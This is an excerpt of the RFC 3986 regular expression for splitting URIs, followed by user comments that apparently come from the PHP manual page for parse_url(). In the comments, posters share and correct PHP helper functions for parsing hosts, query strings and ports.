   As the "first-match-wins" algorithm is identical to the "greedy"
   disambiguation method used by POSIX regular expressions, it is
   natural and commonplace to use a regular expression for parsing the
   potential five components of a URI reference.

   The following line is the regular expression for breaking-down a
   well-formed URI reference into its components.

      ^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?
       12            3  4          5       6  7        8 9

   The numbers in the second line above are only to assist readability;
   they indicate the reference points for each subexpression (i.e., each
   paired parenthesis).  We refer to the value matched for subexpression
   <n> as $<n>.  For example, matching the above expression to

      http://www.ics.uci.edu/pub/ietf/uri/#Related

   results in the following subexpression matches:

      $1 = http:
      $2 = http
      $3 = //www.ics.uci.edu
      $4 = www.ics.uci.edu
      $5 = /pub/ietf/uri/
      $6 = <undefined>
      $7 = <undefined>
      $8 = #Related
      $9 = Related

   where <undefined> indicates that the component is not present, as is
   the case for the query component in the above example.  Therefore, we
   can determine the value of the five components as

      scheme    = $2
      authority = $4
      path      = $5
      query     = $7
      fragment  = $9

   Going in the opposite direction, we can recreate a URI reference from
   its components by using the algorithm of Section 5.3.
gustavo dot andriuolo at vulcabras dot com dot ar 12-Jul-2011 06:31
Here's a method to get the REAL name of a domain. This return just the domain name, not the rest. First check if is not an IP, then return the name:

<?php
   function esip($ip_addr)
{
  //first of all the format of the ip address is matched
  if(preg_match("/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/",$ip_addr))
  {
    //now all the intger values are separated
    $parts=explode(".",$ip_addr);
    //now we need to check each part can range from 0-255
    foreach($parts as $ip_parts)
    {
      if(intval($ip_parts)>255 || intval($ip_parts)<0)
      return FALSE; //if number is not within range of 0-255
    }
    return TRUE;
  }
  else
    return FALSE; //if format of ip address doesn't matches
}

    function domain($domainb)
    {
    $bits = explode('/', $domainb);
    if ($bits[0]=='http:' || $bits[0]=='https:')
    {
    $domainb= $bits[2];
    } else {
    $domainb= $bits[0];
    }
    unset($bits);
    $bits = explode('.', $domainb);
    $idz=count($bits);
    $idz-=3;
    if (strlen($bits[($idz+2)])==2) {
    $url=$bits[$idz].'.'.$bits[($idz+1)].'.'.$bits[($idz+2)];
    } else if (strlen($bits[($idz+2)])==0) {
    $url=$bits[($idz)].'.'.$bits[($idz+1)];
    } else {
    $url=$bits[($idz+1)].'.'.$bits[($idz+2)];
    }
    return $url;
    }

    $address='clients1.sub3.google.co.uk';
       $parsed_url = parse_url($address);
      $check = esip($parsed_url['host']);
    $host = $parsed_url['host'];
    if ($check == FALSE){
        if ($host != ""){
        $host = domain($host);
        }else{
        $host = domain($address);
            }
    }
    echo $host;
    ?>
This return: google.co.uk
'http://sub1.sub2.sub3.example.com:443';
return: example.com
'example.com';
return: example.com

Many times  parse_url return nothing when domain is google.com only for example.

Now, google.com, or google.co.uk will return the same.

Maybe is a little dirty, but works well for me, i use it to group internet access log from squid.

Regards.
David Beck 03-Jul-2011 10:54
Lengthy function to correct (mainly user-submitted) URLs.

<?php

function correctURL($address)
{
    if (!empty($address) AND $address{0} != '#' AND
    strpos(strtolower($address), 'mailto:') === FALSE AND
    strpos(strtolower($address), 'javascript:') === FALSE)
    {
        $address = explode('/', $address);
        $keys = array_keys($address, '..');

        foreach($keys AS $keypos => $key)
            array_splice($address, $key - ($keypos * 2 + 1), 2);

        $address = implode('/', $address);
        $address = str_replace('./', '', $address);

        $scheme = parse_url($address);

        if (empty($scheme['scheme']))
            $address = 'http://' . $address;

        $parts = parse_url($address);
        $address = strtolower($parts['scheme']) . '://';

        if (!empty($parts['user']))
        {
            $address .= $parts['user'];

            if (!empty($parts['pass']))
                $address .= ':' . $parts['pass'];

            $address .= '@';
        }

        if (!empty($parts['host']))
        {
            $host = str_replace(',', '.', strtolower($parts['host']));

            if (strpos(ltrim($host, 'www.'), '.') === FALSE)
                $host .= '.com';

            $address .= $host;
        }

        if (!empty($parts['port']))
            $address .= ':' . $parts['port'];

        $address .= '/';

        if (!empty($parts['path']))
        {
            $path = trim($parts['path'], ' /\\');

            if (!empty($path) AND strpos($path, '.') === FALSE)
                $path .= '/';

            $address .= $path;
        }

        if (!empty($parts['query']))
            $address .= '?' . $parts['query'];

        return $address;
    }

    else
        return FALSE;
}

?>
Simon D 21-Jun-2011 06:45
To get the params (url query) as Associative array, use this function:

<?php
/**
 * Returns the url query as associative array
 *
 * @param    string    query
 * @return    array    params
 */
function convertUrlQuery($query) {
    $queryParts = explode('&', $query);

    $params = array();
    foreach ($queryParts as $param) {
        $item = explode('=', $param);
        $params[$item[0]] = $item[1];
    }

    return $params;
}
?>
Egor Chernodarov 06-Apr-2011 01:34
Noticed the following differences in error handling:

<?php
    print_r(parse_url('ftp://user:password@host:port'));
?>

In PHP 5.2.6 returns:
Array
(
    [scheme] => ftp
    [host] => host
    [user] => user
    [pass] => password
)

port is just skipped.

But in PHP 5.3.6 returns NULL without any warnings.
bahtiar at gadimov dot de 16-Dec-2010 05:38
Hi,

if you have problems with UTF8 encoded urls please see http://bugs.php.net/bug.php?id=52923 . parse_url breaks the utf8. :( You have to implement it yourself.
Mark Dobrinic 10-Dec-2010 02:55
It seems the host-part strips off the last [:port] off the end of the hostname

When something is wrong in the actual request, this proves to be the wrong way to do things.

It would be better to not strip off the [:port], but to keep the string *before* the first [:port] as the hostname.

Problem with (maybe malformed) provided HTTP_HOST
hostname:443:443
that resolved in
'host' => 'hostname:443'

Which gave me problems.

Solution would be to enforce this yourself, explicitly:

<?php
$p = parse_url( $url );
$host = explode(':', $p['host']);
$hostname = $host[0];
?>
jesse at example dot com 25-Sep-2010 07:48
@ solenoid: Your code was very helpful, but it fails when the current URL has no query string (it appends '&' instead of '?' before the query).  Below is a fixed version that catches this edge case and corrects it.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    if (!$_SERVER['QUERY_STRING']) {$queryStart = "?";} else {$queryStart = "&";}
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= $queryStart.$key.'='.$value;
        }
    }
    return $url;
}
?>
martin at planio dot com 17-Sep-2010 07:02
For those of you sending URLs in HTML emails with a redirect address in the query string, note that Hotmail unescapes / and : characters in the query string. So that breaks the parse_url() function call. Take this as an example:
href="http://example.com/redirect?url=http%3A%2F%2Fplanio.com"
Hotmail will transform it to this:
href="http://example.com/redirect?url=http://planio.com"

The solution is to be preventive before the call to parse_url():
<?php
$q_index = strpos($uri, '?');
if ($q_index !== FALSE &&
  (strpos($uri, ':', $q_index) !== FALSE || strpos($uri, '/', $q_index) !== FALSE)) {
  $begin = substr($uri, 0, $q_index);
  $end = substr($uri, $q_index, strlen($uri)-$q_index);
  $end = str_replace('/', '%2F', $end);
  $end = str_replace(':', '%3A', $end);
  $uri = $begin.$end;
}
?>
przemek at sobstel dot org 19-Aug-2010 01:44
If you want to get host, function will return NULL if you pass only host.

Example:

<?php
parse_url($url, PHP_URL_HOST);
?>

$url => value returned

http://example.com => string 'example.com' (length=11)
http://www.example.com =>string 'www.example.com' (length=15)
http://www.example.com:8080 => string 'www.example.com' (length=15)
example.com => null
www.example.com => null
example.com:8080 => string 'example.com' (length=11)
www.example.com:8080 => string 'www.example.com' (length=15)
solenoid at example dot com 22-Apr-2010 04:05
Here's a piece of code that modifies, replaces or removes the url query. This can typically used in paging situations where there are more parameters than the page.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= '&'.$key.'='.$value;
        }
    }
    return $url;
}

// page url: "http://www.example.com/page.php?p=5&show=list&style=23"

$url = modify_url(array('p' => 4, 'show' => 'column'));

// $url = "http://www.example.com/page.php?p=4&show=column&style=23"
?>
james at roundeights dot com 26-Feb-2010 11:24
I was writing unit tests and needed to cause this function to kick out an error and return FALSE in order to test a specific execution path. If anyone else needs to force a failure, the following inputs will work:

<?php
parse_url("http:///example.com");
parse_url("http://:80");
parse_url("http://user@:80");
?>
need_sunny at yahoo dot com 25-Dec-2009 05:57
Thanks to xellisx for his parse_query function. I used it in one of my projects and it works well. But it has an error. I fixed the error and improved it a little bit. Here is my version of it:

<?php
// Originally written by xellisx
function parse_query($var)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = parse_url($var, PHP_URL_QUERY);
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>

At the first line there was parse_query($val), I made it $var. It used to return a null array before this fix.

I have added the parse_url line. So now the function will only focus in the query part, not the whole URL. This is useful if something like below is done:
<?php
$my_GET = parse_query($_SERVER['REQUEST_URI']);
?>
nirazuelos at gmail dot com 09-Oct-2009 02:45
Hello, for some odd reason, parse_url returns the host (ex. example.com) as the path when no scheme is provided in the input url. So I've written a quick function to get the real host:

<?php
function getHost($Address) {
   $parseUrl = parse_url(trim($Address));
   return trim($parseUrl[host] ? $parseUrl[host] : array_shift(explode('/', $parseUrl[path], 2)));
}

getHost("example.com"); // Gives example.com
getHost("http://example.com"); // Gives example.com
getHost("www.example.com"); // Gives www.example.com
getHost("http://example.com/xyz"); // Gives example.com
?>

You could try anything! It gives the host (including the subdomain if exists).

Hope it helped you.
ap dot public1 at gmail dot com 14-Jul-2009 08:36
Simple static library that allows easy manipulation of url parameters:

<?php
    /**
     * File provides easy way to manipulate url parameters
     * @author Alexander Podgorny
     */

    class Url {
        /**
         * Splits url into array of it's pieces as follows:
         * [scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]
         * In addition it adds 'query_params' key which contains array of
         * url-decoded key-value pairs
         *
         * @param String $sUrl Url
         * @return Array Parsed url pieces
         */
        public static function explode($sUrl) {
            $aUrl = parse_url($sUrl);
            $aUrl['query_params'] = array();
            $aPairs = explode('&', $aUrl['query']);
            DU::show($aPairs);
            foreach($aPairs as $sPair) {
                if (trim($sPair) == '') { continue; }
                list($sKey, $sValue) = explode('=', $sPair);
                $aUrl['query_params'][$sKey] = urldecode($sValue);
            }
            return $aUrl;
        }
        /**
         * Compiles url out of array of it's pieces (returned by explodeUrl)
         * 'query' is ignored if 'query_params' is present
         *
         * @param Array $aUrl Array of url pieces
         */
        public static function implode($aUrl) {
            //[scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]

            $sQuery = '';

            // Compile query
            if (isset($aUrl['query_params']) && is_array($aUrl['query_params'])) {
                $aPairs = array();
                foreach ($aUrl['query_params'] as $sKey=>$sValue) {
                    $aPairs[] = $sKey.'='.urlencode($sValue);
                }
                $sQuery = implode('&', $aPairs);
            } else {
                $sQuery = $aUrl['query'];
            }

            // Compile url
            $sUrl =
                $aUrl['scheme'] . '://' . (
                    isset($aUrl['user']) && $aUrl['user'] != '' && isset($aUrl['pass'])
                       ? $aUrl['user'] . ':' . $aUrl['pass'] . '@'
                       : ''
                ) .
                $aUrl['host'] . (
                    isset($aUrl['path']) && $aUrl['path'] != ''
                       ? $aUrl['path']
                       : ''
                ) . (
                   $sQuery != ''
                       ? '?' . $sQuery
                       : ''
                ) . (
                   isset($aUrl['fragment']) && $aUrl['fragment'] != ''
                       ? '#' . $aUrl['fragment']
                       : ''
                );
            return $sUrl;
        }
        /**
         * Parses url and returns array of key-value pairs of url params
         *
         * @param String $sUrl
         * @return Array
         */
        public static function getParams($sUrl) {
            $aUrl = self::explode($sUrl);
            return $aUrl['query_params'];
        }
        /**
         * Removes existing url params and sets them to those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function setParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = $aParams;
            return self::implode($aUrl);
        }
        /**
         * Updates values of existing url params and/or adds (if not set) those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function updateParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = array_merge($aUrl['query_params'], $aParams);
            return self::implode($aUrl);
        }
    }

?>
vuatintac at yahoo dot com 22-Apr-2009 07:54
careful while use parse_str() function with full url.
see:

<?php
$sLink = "http://localhost/khm/search.php?act=result&q=a";

parse_str($sLink, $vars);

print_r($vars);

echo $sLink = rawurldecode(http_build_query($vars));

// will output:
// Array
// (
//     [http://localhost/khm/search_php?act] => result
//     [q] => a
// )

// http://localhost/khm/search_php?act=result&q=a

// search.php become search_php
?>
theoriginalmarksimpson at gmail dot com 17-Apr-2009 05:08
An update to the function by FredLudd at gmail dot com.  I added IPv6 functionality as well.

<?php
function j_parseUrl($url) {
  $r  = "(?:([a-z0-9+-._]+)://)?";
  $r .= "(?:";
  $r .=   "(?:((?:[a-z0-9-._~!$&'()*+,;=:]|%[0-9a-f]{2})*)@)?";
  $r .=   "(?:\[((?:[a-z0-9:])*)\])?";
  $r .=   "((?:[a-z0-9-._~!$&'()*+,;=]|%[0-9a-f]{2})*)";
  $r .=   "(?::(\d*))?";
  $r .=   "(/(?:[a-z0-9-._~!$&'()*+,;=:@/]|%[0-9a-f]{2})*)?";
  $r .=   "|";
  $r .=   "(/?";
  $r .=     "(?:[a-z0-9-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+";
  $r .=     "(?:[a-z0-9-._~!$&'()*+,;=:@\/]|%[0-9a-f]{2})*";
  $r .=    ")?";
  $r .= ")";
  $r .= "(?:\?((?:[a-z0-9-._~!$&'()*+,;=:\/?@]|%[0-9a-f]{2})*))?";
  $r .= "(?:#((?:[a-z0-9-._~!$&'()*+,;=:\/?@]|%[0-9a-f]{2})*))?";
  preg_match("`$r`i", $url, $match);
  $parts = array(
            "scheme"=>'',
            "userinfo"=>'',
            "authority"=>'',
            "host"=> '',
            "port"=>'',
            "path"=>'',
            "query"=>'',
            "fragment"=>'');
  switch (count ($match)) {
    case 10: $parts['fragment'] = $match[9];
    case 9: $parts['query'] = $match[8];
    case 8: $parts['path'] =  $match[7];
    case 7: $parts['path'] =  $match[6] . $parts['path'];
    case 6: $parts['port'] =  $match[5];
    case 5: $parts['host'] =  $match[3]?"[".$match[3]."]":$match[4];
    case 4: $parts['userinfo'] =  $match[2];
    case 3: $parts['scheme'] =  $match[1];
  }
  $parts['authority'] = ($parts['userinfo']?$parts['userinfo']."@":"").
                         $parts['host'].
                        ($parts['port']?":".$parts['port']:"");
  return $parts;
}
?>

When using the url

  /* line too long for this site's comment handler */
  "foo://username:password@[2001:4860:0:2001::68]:8042".
      "/over/there/index.dtb;type=animal?name=ferret#nose"

The original would return

Array
(
    [scheme] => foo
    [userinfo] => username:password
    [authority] => username:password@
    [host] =>
    [port] =>
    [path] =>
    [query] =>
    [fragment] =>
)

The new one returns

Array
(
    [scheme] => foo
    [userinfo] => username:password
    [authority] => username:password@[2001:4860:0:2001::68]:8042
    [host] => [2001:4860:0:2001::68]
    [port] => 8042
    [path] => /over/there/index.dtb;type=animal
    [query] => name=ferret
    [fragment] => nose
)

All of the other examples FredLudd used below still work exactly the same.
usrflo at gmx dot de 12-Apr-2009 05:05
Additional information:

if you like to compute a registered domain name of the parsed host name you can use the PHP library at http://www.dkim-reputation.org/regdom-libs/
It relies on the effective TLD list of the Mozilla Foundation.
pbcomm at gmail dot com 25-Oct-2008 09:55
Modification to the code from:
theoriginalmarksimpson at gmail dot com

Change:
$r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";

Replace with:
$r .= "(?:(?P<login>\w+):?(?P<pass>\w+)?@)?";

This will cover the case the only username is present in the url:

http://username@subdomain.domain.com/index.php?arg1=test#anchor
vdklah at hotmail dot com 17-Oct-2008 02:53
Some example that determines the URL port.
When port not specified, it derives it from the scheme.

<?php
function getUrlPort( $urlInfo )
{
    if( isset($urlInfo['port']) ) {
        $port = $urlInfo['port'];
    } else { // no port specified; get default port
        if (isset($urlInfo['scheme']) ) {
            switch( $urlInfo['scheme'] ) {
                case 'http':
                    $port = 80; // default for http
                    break;
                case 'https':
                    $port = 443; // default for https
                    break;
                case 'ftp':
                    $port = 21; // default for ftp
                    break;
                case 'ftps':
                    $port = 990; // default for ftps
                    break;
                default:
                    $port = 0; // error; unsupported scheme
                    break;
            }
        } else {
            $port = 0; // error; unknown scheme
        }
    }
    return $port;
}

$url = "http://nl3.php.net/manual/en/function.parse-url.php";
$urlInfo = parse_url( $url );
$urlPort = getUrlPort( $urlInfo );
if( $urlPort !== 0 ) {
    print 'Found URL port: '.$urlPort;
} else {
    print 'ERROR: Could not find port at URL: '.$url;
}
?>
gautam at rogers dot com 15-Oct-2008 11:08
What about using something like this to safely encoding all the values that are passed in the query portion?

Example input:
http://www.example.com/?first=john&last=smith&email=john@smith.com

Result:
http://www.example.com/?first=john&last=smith&email=john%40smith.com

<?php
function safe_url($url) {
  // Make sure we have a string to work with
  if(!empty($url)) {
    // Explode into URL keys
    $urllist=parse_url($url);

    // Make sure we have a valid result set and a query field
    if(is_array($urllist) && isset($urllist["query"])) {
      // Explode into key/value array
      $keyvalue_list=explode("&",($urllist["query"]));

      // Store resulting key/value pairs
      $keyvalue_result=array();

      foreach($keyvalue_list as $key=>$value) {
        // Explode each individual key/value into an array
        $keyvalue=explode("=",$value);

        // Make sure we have a "key=value" array
        if(count($keyvalue)==2) {
          // Encode the value portion
          $keyvalue[1]=urlencode($keyvalue[1]);

          // Add our key and encoded value into the result
          array_push($keyvalue_result,implode("=",$keyvalue));
        }
      }

      // Repopulate our query key with encoded results
      $urllist["query"]=implode("&",$keyvalue_result);

      // Build the the final output URL
      $url=(isset($urllist["scheme"])?$urllist["scheme"]."://":"").
           (isset($urllist["user"])?$urllist["user"].":":"").
           (isset($urllist["pass"])?$urllist["pass"]."@":"").
           (isset($urllist["host"])?$urllist["host"]:"").
           (isset($urllist["port"])?":".$urllist["port"]:"").
           (isset($urllist["path"])?$urllist["path"]:"").
           (isset($urllist["query"])?"?".$urllist["query"]:"").
           (isset($urllist["fragment"])?"#".$urllist["fragment"]:"");
    }
  }

  return $url;
}
?>
FredLudd at gmail dot com 03-Oct-2008 11:24
Another shot at trying to find a better parser. I noticed that the laulibrius/theoriginalmarksimpson functions didn't quite handle the URL for the page they were displayed on. For my mirror, ca3, this is
  http://ca3.php.net/manual/en/function.parse-url.php

Run it through the function and it parses to
  scheme => http
  login =>
  pass =>
  host => ca3.php.net
  ip =>
  subdomain => ca3
  domain => php.
  extension => net
  port =>
  path => /manual/en/function.parse
  file => function.parse
that is, the file name gets a bit mangled

Rather than tweak the function's regular expression yet again, I opted to adapt a RegExp that served me well in Javascript:

function j_parseUrl($url) {
  $r  = "(?:([a-z0-9+-._]+)://)?";
  $r .= "(?:";
  $r .=   "(?:((?:[a-z0-9-._~!$&'()*+,;=:]|%[0-9a-f]{2})*)@)?";
  $r .=   "((?:[a-z0-9-._~!$&'()*+,;=]|%[0-9a-f]{2})*)";
  $r .=   "(?::(\d*))?";
  $r .=   "(/(?:[a-z0-9-._~!$&'()*+,;=:@/]|%[0-9a-f]{2})*)?";
  $r .=   "|";
  $r .=   "(/?";
  $r .=     "(?:[a-z0-9-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+";
  $r .=     "(?:[a-z0-9-._~!$&'()*+,;=:@\/]|%[0-9a-f]{2})*";
  $r .=    ")?";
  $r .= ")";
  $r .= "(?:\?((?:[a-z0-9-._~!$&'()*+,;=:\/?@]|%[0-9a-f]{2})*))?";
  $r .= "(?:#((?:[a-z0-9-._~!$&'()*+,;=:\/?@]|%[0-9a-f]{2})*))?";
  preg_match("`$r`i", $url, $match);
  $parts = array(
            "scheme"=>'',
            "userinfo"=>'',
            "authority"=>'',
            "host"=> '',
            "port"=>'',
            "path"=>'',
            "query"=>'',
            "fragment"=>'');
  switch (count ($match)) {
    case 9: $parts['fragment'] = $match[8];
    case 8: $parts['query'] = $match[7];
    case 7: $parts['path'] =  $match[6];
    case 6: $parts['path'] =  $match[5] . $parts['path'];
    case 5: $parts['port'] =  $match[4];
    case 4: $parts['host'] =  $match[3];
    case 3: $parts['userinfo'] =  $match[2];
    case 2: $parts['scheme'] =  $match[1];
  }
  $parts['authority'] = ($parts['userinfo']?$parts['userinfo']."@":"").
                         $parts['host'].
                        ($parts['port']?":".$parts['port']:"");
  return $parts;
}

This function, when fed "http://ca3.php.net/manual/en/function.parse-url.php", returns
  scheme => http
  userinfo =>
  authority => ca3.php.net
  host => ca3.php.net
  port =>
  path => /manual/en/function.parse-url.php
  query =>
  fragment =>
which is somewhat closer to my needs.

But everything should be tested against the two examples provided by RFC3986,

  /* line too long for this site's commnet handler */
  "foo://username:password@example.com:8042".
      "/over/there/index.dtb;type=animal?name=ferret#nose"
and
  "urn:example:animal:ferret:nose"

Here the native function parse_url() performs admirably on that "urn:" example. Mine fails to pick out the path ("example:animal:ferret:nose") and the laulibrius/theoriginalmarksimpson function can't decipher anything there. On the "foo:" example, both my function and parse_url() get it right, while the other examples on this page don't.

The laulibrius/theoriginalmarksimpson function delivers
  scheme => foo
  login => username
  pass => password
  host => example.com
  ip =>
  subdomain =>
  domain => example.
  extension => com
  port => 8042
  path => /over/there/index.dtb
  file => index.dtb

As you can see, the query string ("name=ferret") and fragment ("nose") have dropped off, as well as the parameter ("type=animal").
xellisx 01-Oct-2008 08:37
I need to parse out the query string from the referrer, so I created this function.

<?php
function parse_query($val)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>
ilja at radusch dot com 26-Sep-2008 04:26
Here is an update to the glue_url() function.

It can now handle relative URLs if only 'path' is provided.

<?php
function glue_url($parsed) {
    if (!is_array($parsed)) {
        return false;
    }

    $uri = isset($parsed['scheme']) ? $parsed['scheme'].':'.((strtolower($parsed['scheme']) == 'mailto') ? '' : '//') : '';
    $uri .= isset($parsed['user']) ? $parsed['user'].(isset($parsed['pass']) ? ':'.$parsed['pass'] : '').'@' : '';
    $uri .= isset($parsed['host']) ? $parsed['host'] : '';
    $uri .= isset($parsed['port']) ? ':'.$parsed['port'] : '';

    if (isset($parsed['path'])) {
        $uri .= (substr($parsed['path'], 0, 1) == '/') ?
            $parsed['path'] : ((!empty($uri) ? '/' : '' ) . $parsed['path']);
    }

    $uri .= isset($parsed['query']) ? '?'.$parsed['query'] : '';
    $uri .= isset($parsed['fragment']) ? '#'.$parsed['fragment'] : '';

    return $uri;
}
?>
nospam at spellingcow dot com 08-Sep-2008 02:03
URL's in the query string of a relative URL will cause a problem

fails:
/page.php?foo=bar&url=http://www.example.com

parses:
http://www.foo.com/page.php?foo=bar&url=http://www.example.com
theoriginalmarksimpson at gmail dot com 05-Sep-2008 12:12
A rehash of code modified by "laulibrius at hotmail dot com".

This also parses urls for hosts that don't have a domain name and just use an IP as the hostname.

The old code would assume that the IP octets were a subdomain.
So the url "http://255.255.255.255/" would return 255.255 as a subdomain of 255.255.

<?php
parseUrl($url)
   {
   $r  = "^(?:(?P<scheme>\w+)://)?";
   $r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";

   $ip="(?:[0-9]{1,3}+\.){3}+[0-9]{1,3}";//ip check
   $s="(?P<subdomain>[-\w\.]+)\.)?";//subdomain
   $d="(?P<domain>[-\w]+\.)";//domain
   $e="(?P<extension>\w+)";//extension

   $r.="(?P<host>(?(?=".$ip.")(?P<ip>".$ip.")|(?:".$s.$d.$e."))";

   $r .= "(?::(?P<port>\d+))?";
   $r .= "(?P<path>[\w/]*/(?P<file>\w+(?:\.\w+)?)?)?";
   $r .= "(?:\?(?P<arg>[\w=&]+))?";
   $r .= "(?:#(?P<anchor>\w+))?";
   $r = "!$r!";   // Delimiters
   preg_match($r, $url,$out);
   }
?>

If you need to validate the host IP this is easier than using regex.

<?php

$parsed=parseUrl($url);

if($parsed['ip']) {
   if(long2ip(ip2long($parsed['ip']))==$parsed['ip']){//validates IP
   echo $parsed['ip']." is a valid host";
   }
   else {
   echo $parsed['ip']." is not a valid host";
   }
}
?>
marco panichi 23-Aug-2008 01:47
my function catch the url written on the browser by the user and does the same thing of parse_url. but better, I think. I don't like parse_url because it says nothing about elements that it doesn't find in the url. my function instead return an empty string.

<?php
function get_url()
{
    $arr = array();
    $uri = $_SERVER['REQUEST_URI'];

    // query
    $x = array_pad( explode( '?', $uri ), 2, false );
    $arr['query'] = ( $x[1] )? $x[1] : '' ;

    // resource
    $x         = array_pad( explode( '/', $x[0] ), 2, false );
    $x_last = array_pop( $x );
    if( strpos( $x_last, '.' ) === false )
    {
        $arr['resource'] = '';
        $x[] = $x_last;
    }
    else
    {
        $arr['resource'] = $x_last;
    }

    // path
    $arr['path'] = implode( '/', $x );
    if( substr( $arr['path'], -1 ) !== '/' ) $arr['path'] .= '/';

    // domain
    $arr['domain']    = $_SERVER['SERVER_NAME'];

    // scheme
    $server_prt        = explode( '/', $_SERVER['SERVER_PROTOCOL'] );
    $arr['scheme']    = strtolower( $server_prt[0] );

    // url
    $arr['url'] = $arr['scheme'].'://'.$arr['domain'].$uri;

    return $arr;
}
?>

PS: I found working with explode is faster than using preg_match (I tryed with getmicrotime function and 'for' cycles).

PPS: I used array_pad to prevent any notice.
andrewtheartist at hotmail dot com 28-Jun-2008 05:28
Here's the easiest way to get the URL to the path that your script is in (so not the actual script name itself, just the complete URL to the folder it's in)

echo "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']);
Cool Coyote 23-Jun-2008 05:35
based on the "laulibrius at hotmail dot com" function, this work for relatives url only:

<?php
function parseUrl($url) {
$r = "^(?:(?P<path>[\.\w/]*/)?";
$r .= "(?P<file>\w+(?:\.\w+)?)?)\.(?P<extension>\w+)?";
$r .= "(?:\?(?P<arg>[\w=&]+))?";
$r .= "(?:#(?P<anchor>\w+))?";
$r = "!$r!";

preg_match ( $r, $url, $out );
return $out;
}

print_r(parseUrl("../test/f.aq.php?p=1&v=blabla#X1"));

?>

returns:
Array
(
    [0] => ../test/faq.php?p=1&v=blabla#X1
    [path] => ../test/
    [1] => ../test/
    [file] => faq
    [2] => faq
    [extension] => php
    [3] => php
    [arg] => p=1&v=blabla
    [4] => p=1&v=blabla
    [anchor] => X1
    [5] => X1
)
laulibrius at hotmail dot com 16-Jun-2008 09:31
There was one thing missing in the function dropped by "to1ne at hotmail dot com" when i tried it : domain and subdomain couldn't have a dash "-". So i add it in the regexp and the function looks like this now :

<?php
    function parseUrl($url) {
        $r  = "^(?:(?P<scheme>\w+)://)?";
        $r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";
        $r .= "(?P<host>(?:(?P<subdomain>[-\w\.]+)\.)?" . "(?P<domain>[-\w]+\.(?P<extension>\w+)))";
        $r .= "(?::(?P<port>\d+))?";
        $r .= "(?P<path>[\w/]*/(?P<file>\w+(?:\.\w+)?)?)?";
        $r .= "(?:\?(?P<arg>[\w=&]+))?";
        $r .= "(?:#(?P<anchor>\w+))?";
        $r = "!$r!";                                                // Delimiters

        preg_match ( $r, $url, $out );

        return $out;
    }
?>

Btw, thanks for the function, it helps me a lot.
to1ne at hotmail dot com 13-Jun-2008 11:01
Based on the idea of "jbr at ya-right dot com" have I been working on a new function to parse the url:

<?php
function parseUrl($url) {
    $r  = "^(?:(?P<scheme>\w+)://)?";
    $r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";
    $r .= "(?P<host>(?:(?P<subdomain>[\w\.]+)\.)?" . "(?P<domain>\w+\.(?P<extension>\w+)))";
    $r .= "(?::(?P<port>\d+))?";
    $r .= "(?P<path>[\w/]*/(?P<file>\w+(?:\.\w+)?)?)?";
    $r .= "(?:\?(?P<arg>[\w=&]+))?";
    $r .= "(?:#(?P<anchor>\w+))?";
    $r = "!$r!";                                                // Delimiters

    preg_match ( $r, $url, $out );

    return $out;
}
print_r ( parseUrl ( 'me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url' ) );
?>

This returns:
Array
(
    [0] => me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url
    [scheme] =>
    [1] =>
    [login] => me
    [2] => me
    [pass] => you
    [3] => you
    [host] => sub.site.org
    [4] => sub.site.org
    [subdomain] => sub
    [5] => sub
    [domain] => site.org
    [6] => site.org
    [extension] => org
    [7] => org
    [port] => 29000
    [8] => 29000
    [path] => /pear/validate.html
    [9] => /pear/validate.html
    [file] => validate.html
    [10] => validate.html
    [arg] => happy=me&sad=you
    [11] => happy=me&sad=you
    [anchor] => url
    [12] => url
)

So both named and numbered array keys are possible.

It's quite advanced, but I think it works in any case... Let me know if it doesn't...
